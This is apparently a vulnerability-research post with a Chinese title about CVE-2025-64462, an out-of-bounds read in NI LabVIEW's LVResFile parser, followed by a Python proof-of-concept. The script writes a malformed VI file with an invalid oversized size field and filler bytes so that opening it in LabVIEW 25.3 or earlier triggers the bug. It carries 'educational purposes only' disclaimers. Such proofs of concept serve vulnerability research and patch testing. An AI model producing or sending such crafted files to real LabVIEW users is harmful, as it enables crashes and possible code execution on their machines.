CVE-2025-64462: NI LabVIEW LVResFile越界读取漏洞可致代码执行

#!/usr/bin/env python3 """ CVE-2025-64462 PoC - Malformed VI File Generator This PoC generates a malformed VI file that triggers an out-of-bounds read in LVResFile::RGetMemFileHandle() in NI LabVIEW versions <= 25.3 WARNING: For educational and security research purposes only. """ import struct import os def create_malformed_vi(output_path): """ Create a malformed VI file to trigger CVE-2025-64462 """ # VI file header (LabVIEW uses LV class file format) header = bytearray() # File signature for LabVIEW VI header.extend(b'VI') # VI signature header.extend(struct.pack('<H', 0x0000)) # Version marker header.extend(struct.pack('<I', 0xFFFFFFFF)) # Flags # Corrupt the RGetMemFileHandle data section # This causes out-of-bounds read when parsing corrupted_section = bytearray() # Malformed resource file handle data # Trigger out-of-bounds read by setting invalid size/offset corrupted_section.extend(struct.pack('<I', 0x00000001)) # Handle type corrupted_section.extend(struct.pack('<I', 0x7FFFFFFF)) # Invalid large size corrupted_section.extend(struct.pack('<I', 0x00000000)) # Zero offset corrupted_section.extend(struct.pack('<I', 0xDEADBEEF)) # Corrupt data corrupted_section.extend(b'\x00' * 256) # Padding with nulls header.extend(corrupted_section) # Add extra data to trigger boundary condition header.extend(b'\xFF' * 1024) # Write the malformed VI file with open(output_path, 'wb') as f: f.write(header) print(f"[+] Malformed VI file created: {output_path}") print(f"[+] File size: {len(header)} bytes") print("[!] This file may trigger CVE-2025-64462 when opened in NI LabVIEW <= 25.3") if __name__ == "__main__": output_file = "CVE-2025-64462_poc.vi" create_malformed_vi(output_file) print("\n[*] Note: This PoC is for educational purposes only.") print("[*] Do not use on systems without proper authorization.")